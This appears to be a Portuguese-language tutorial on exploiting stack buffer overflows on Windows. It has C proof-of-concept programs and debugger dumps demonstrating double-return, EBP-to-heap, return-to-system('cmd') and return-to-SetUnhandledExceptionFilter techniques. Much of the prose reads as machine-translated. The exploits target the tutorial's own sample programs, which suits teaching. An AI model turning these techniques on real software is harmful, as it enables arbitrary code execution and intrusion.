Windows Stack Overflow Exploitation
Nós
iremos mostrar um código de amostra e detalhes técnicos
de como explorar ' stack overflows '
de maneiras ' Diferentes '.
*
Código de Exemplo / ret
*
/*
Stack based overflows
Double return technique
compile for release
*/
void
doit(char* buf)
{
char smallbuf[10];
memset(smallbuf,0x0,sizeof(smallbuf));
printf("strcpy\n");
//_asm
int 3;
_asm nop;
strcpy(smallbuf,buf);
}
int
main(int argc,char *argv[])
{
char buf[100];
printf("+
Stack based overflow\n+ Double return\n");
memset(buf,0x0,sizeof(buf));
//
The double return
memset(buf,0xcc,12); // 12 bytes
strcat(buf,"\x64\x64\x64\x64"); // SET EBP
strcat(buf,"\x3e\x10\x40\x00"); // SET EIP to ret 0x0040103e
doit(buf);
printf("+ done\n");
return 0;
}
Análise -
Após a chamada ao código strcpy a execução
alcança este ponto:
-
Code Segment
00401039 pop edi
0040103A pop esi
0040103B mov esp,ebp
0040103D pop ebp
0040103E ret
como
ficaria quando a execução alcança a execução
de retorno. =)
-
Registers
EAX = 00000014 EBX = 00000004
ECX = 00000000 EDX = 0012FEF8
ESI = 00406044 EDI = 0012FF34
EIP = 0040103E ESP = 0012FF08
EBP = 64646464 EFL = 00000246
-Stack
Dump
0012FF08 0040103E 0012FF20
0012FF10 00406050 00000000
-
Code Segment
0040103E ret
Nosso
endereço do retorno de 0x40103e será mandado fora da
pilha e a execução continuará com um outro comando
do retorno,
neste tempo a pilha ficará como esta...
-Stack
Dump
0012FF0C 0012FF20 00406050
0012FF14 00000000 00000000
A
pilha prende agora o endereço de um buffer com nossos dados,
e
retornando a ele o fluxo da execução é-nos passado
para trás....
*
Exemplo - Double ret/pop
*
/*
Stack based overflow
Double return pop stack first
compile for release
*/
void doit(int flag,char* buf)
{
char smallbuf[10];
memset(smallbuf,0x0,sizeof(smallbuf));
printf("+ strcpy\n");
//_asm
int 3;
_asm nop;
strcpy(smallbuf,buf);
}
int main(int argc,char *argv[])
{
char buf[100];
printf("+
Stack based overflow\n+ Double return/pop\n");
memset(buf,0x0,sizeof(buf));
memset(buf,0xCC,12);
// 12 bytes
strcat(buf,"\x64\x64\x64\x64"); // SET EBP
strcat(buf,"\x3d\x10\x40\x00"); // SET EIP to 0040103D
doit(1,buf);
printf("+done\n");
return 0;
Análise -
Após a chamada ao código strcpy a execução
alcança este ponto:
- Code Segment
00401039 pop edi
0040103A pop esi
0040103B mov esp,ebp
0040103D pop ebp
0040103E ret
Como
ficaria quando a execução alcança a execução
de retorno.
-
Registers
EAX = 00000014 EBX = 00000004
ECX = 00000000 EDX = 0012FEF4
ESI = 00406048 EDI = 0012FF34
EIP = 0040103E ESP = 0012FF04
EBP = 64646464 EFL = 00000246
-Stack
Dump
0012FF04 0040103D 00000001
0012FF0C 0012FF20 00406054
0012FF14 00000000 00000000
0012FF1C 7FFDF000 CCCCCCCC
0012FF24 CCCCCCCC CCCCCCCC
0012FF2C 64646464 0040103D
-
Code Segment
0040103E ret
Nosso
endereço do retorno de 0x40103D será mandado fora da
pilha e a execução continuará com um outro comando
do retorno,
neste tempo a pilha ficará como esta...
-Stack
Dump
0012FF0C 0012FF20 00406054
0012FF14 00000000 00000000
0012FF1C 7FFDF000 CCCCCCCC
0012FF24 CCCCCCCC CCCCCCCC
0012FF2C 64646464 0040103D
A
pilha prende agora o endereço de um buffer com nossos dados,
e
retornando a ele o fluxo da execução é-nos passado
para trás.
-Data
Dump 0x0012FF20
0012FF20 CC CC CC CC CC ÌÌÌÌÌ
0012FF25 CC CC CC CC CC ÌÌÌÌÌ
0012FF2A CC CC 64 64 64 ÌÌddd
0012FF2F 64 3D 10 40 00 d=.@.
*
Exemplo - SET EBP / Return to heap
*
/*
Stack based overflow
SET EBP / Return to heap
compile for release
*/
void
doit(char* buf)
{
char smallbuf[10];
memset(smallbuf,0x0,sizeof(smallbuf));
printf("+ strcpy\n");
//_asm
int 3;
_asm nop;
strcpy(smallbuf,buf);
}
char*
a;
int main(int argc,char *argv[])
{
char buf[100];
printf("+
Stack based overflow\n+ Using EBP\n");
_asm int 3;
//_asm nop;
a = malloc(5000);
memset(buf,0x0,sizeof(buf));
memset(buf,0xcc,12);
// 12 bytes
strcat(buf,"\xa0\x6a\x40"); // SET 3 bytes of EBP to 0x406aa4
- 4
strcpy(a,buf);
// Put our buffer somewhere
doit(buf);
printf("+ done\n");
return 0;
}
Análises -
Após a chamada ao código strcpy a execução
alcança este ponto:
-
Code Segment
00401039 pop edi
0040103A pop esi
0040103B mov esp,ebp
0040103D pop ebp
0040103E ret
Quando
a execução alcança pop ebp as coisas da indicação
agora veja como ficam
-
Registers
EAX = 00000010 EBX = 00000004
ECX = 00000000 EDX = 0012FEF0
ESI = 0012FF2C EDI = 002F61C8
EIP = 0040103D ESP = 0012FEFC
-Stack
Dump
0012FEFC 00406AA0 004010D4
0012FF04 0012FF1C 00001388
0012FF0C 00406048 00000000
0012FF14 00000000 7FFDF000
0012FF1C CCCCCCCC CCCCCCCC
0012FF24 CCCCCCCC 00406AA0
-Code
Segment
0040103D pop ebp
0040103E ret
Nosso
endereço de 0x406AA0 será mandado fora da pilha em EBP.
A execução continuará normal agora porque nós
não sobreescrevemos mais sobre a pilha
afetando o ESP.
Nós
ajustaremos EBP ao endereço local que prende o endereço
do heap onde nossos dados
são armazenados, -4 a compensar para uma instrução
mais atrasada do PNF.
-Data
Dump 0x00406AA0
00406AA0 00000001 002F61B8
00406AA8 000004E4 00000000
00406AB0 00000000 00000000
-Data
Dump 0x002F61B8
002F61B8 CC CC CC CC CC ÌÌÌÌÌ
002F61BD CC CC CC CC CC ÌÌÌÌÌ
002F61C2 CC CC A0 6A 40 ÌÌ j@
O fluxo da execução continua por enquanto normal até
alcançar este segmento :
-Code
Segment
004010E6 mov esp,ebp
004010E8 pop ebp
004010E9 ret
É ajustado neste momento o ' ESP ' a nosso valor de EBP, um
EBP novo é usado e
um endereço do retorno é então usado.
-Stack
Dump
00406AA0 00000001 002F61B8
00406AA8 000004E4 00000000
O
endereço do heap será estalado da pilha, e o fluxo da
execução é nôs passado para trás.
-Data
Dump 0x002F61B8
002F61B8 CC CC CC CC CC ÌÌÌÌÌ
002F61BD CC CC CC CC CC ÌÌÌÌÌ
002F61C2 CC CC A0 6A 40 ÌÌ j@
+ Exemplo - Return into system()
/*
Stack based overflow
Return to lib-c SYSTEM()
compile for release
*/
#pragma
comment (lib,"msvcrt")
void
doit(int flag,char* buf)
{
char smallbuf[10];
memset(smallbuf,0x0,sizeof(smallbuf));
printf("+ Executing strcpy()\n");
//_asm
int 3;
_asm nop;
strcpy(smallbuf,buf);
}
int main(int argc,char *argv[])
{
char buf[100];
printf("+
Stack based overflow\n+ Return to system()\n");
memset(buf,0x0,sizeof(buf));
strcpy(buf,"cmd
"); // 12 bytes
strcat(buf,"\x64\x64\x64\x64"); // SET EBP
strcat(buf,"\xbf\x8e\x01\x78"); // Return Address Set To
system()
doit(12,buf);
printf("+ done\n");
return 0;
}
Análise
Após
a chamada ao código strcpy a execução alcança
este ponto:
-
Code Segment
00401039 pop edi
0040103A pop esi
0040103B mov esp,ebp
0040103D pop ebp
0040103E ret
Olhe
como fica quando a execução alcança a execução
de retorno:
-
Registers
EAX = 00000015 EBX = 00000005
ECX = 00000000 EDX = 0012FEC0
ESI = 00403035 EDI = 0012FF01
EIP = 0040103E ESP = 0012FED0
EBP = 64646464 EFL = 00000202
-Stack
Dump
0012FED0 78018EBF 00000000
0012FED8 0012FEEC 00403050
0012FEE0 00000000 00000000
-
Code Segment
0040103E ret
Nosso
endereço do retorno de 0x78018ebf (system) será estalado
fora da
pilha e a execução fluirá diretamente na chamada
do system(). Neste tempo
a pilha ficará como esta :
-Stack
Dump
0012FED4 00000000 0012FEEC
0012FEDC 00403050 00000000
Neste
tempo a pilha prende o endereço de retorno da função
(0x00000000) e o offset da
string à passagem à função do sistema
(0x0012feec).
-Data
Dump 0x0012feec
0012FEEC 63 6D 64 20 20 cmd
0012FEF1 20 20 20 20 20
0012FEF6 20 20 64 64 64 ddd
0012FEFB 64 BF 8E 01 78
+ Exemplo - Return into SetUnhandledExceptionFilter()
/*
Stack based overflow
Return to lib-c SetUnhandledExceptionFilter
compile for release. debug with softice and i3here on
*/
#include <windows.h>
void doit(int flag,char* buf)
{
char smallbuf[10];
memset(smallbuf,0x0,sizeof(smallbuf));
printf("+ strcpy\n");
//_asm
int 3;
_asm nop;
strcpy(smallbuf,buf);
}
int
main(int argc,char *argv[])
{
char buf[100];
printf("+
Stack based overflow\n+ Return to
SetUnhandledExceptionFilter()\n");
memset(buf,0x0,sizeof(buf));
memset(buf,0xcc,12);
// 12 Bytes
strcat(buf,"\x64\x64\x64\x64"); // SET EBP
strcat(buf,"\xa3\xba\x59\x7c"); // SET EIP
strcat(buf,"\x62\x62\x62"); // SET 2nd EIP to cause exception
doit(12,buf);
printf("+ done\n");
return 0;
}
Análise
Após a chamada ao código strcpy a execução
alcança este ponto:
-
Code Segment
00401039 pop edi
0040103A pop esi
0040103B mov esp,ebp
0040103D pop ebp
0040103E ret
Olhe
como fica quando a execução alcança a execução
de retorno.
=
Registers
EAX = 00000018 EBX = 00000004
ECX = 00000000 EDX = 0012FEF4
ESI = 00406048 EDI = 0012FF38
EIP = 0040103E ESP = 0012FF04
EBP = 64646464 EFL = 00000246
=
Stack Dump
0012FF04 7C59BAA3 00626262
0012FF0C 0012FF20 00406058
0012FF14 00000000 00000000
0012FF1C 7FFDF000 CCCCCCCC
0012FF24 CCCCCCCC CCCCCCCC
0012FF2C 64646464 7C59BAA3
-
Code Segment
0040103E ret
Nosso
endereço do retorno de 0x7C59BAA3 (SetUnhandled..) Será
colocado
fora da pilha e da execução fluirá diretamente
na chamada. Neste
tempo a pilha ficará como esta:
=
Stack Dump
0012FF08 00626262 0012FF20
0012FF10 00406058 00000000
0012FF18 00000000 7FFDF000
0012FF20 CCCCCCCC CCCCCCCC
0012FF28 CCCCCCCC 64646464
0012FF30 7C59BAA3 00626262
Neste
tempo a pilha prende o endereço do retorno da função
(0x00626262)
e o offset da string à passagem à função
do sistema (0x0012FF20) como este :
=Data
Dump 0x0012FF20
0012FF20 CC CC CC CC CC ÌÌÌÌÌ
0012FF25 CC CC CC CC CC ÌÌÌÌÌ
0012FF2A CC CC 64 64 64 ÌÌddd
0012FF2F 64 A3 BA 59 7C d£ºY|
0012FF34 62 62 62 00 00 bbb..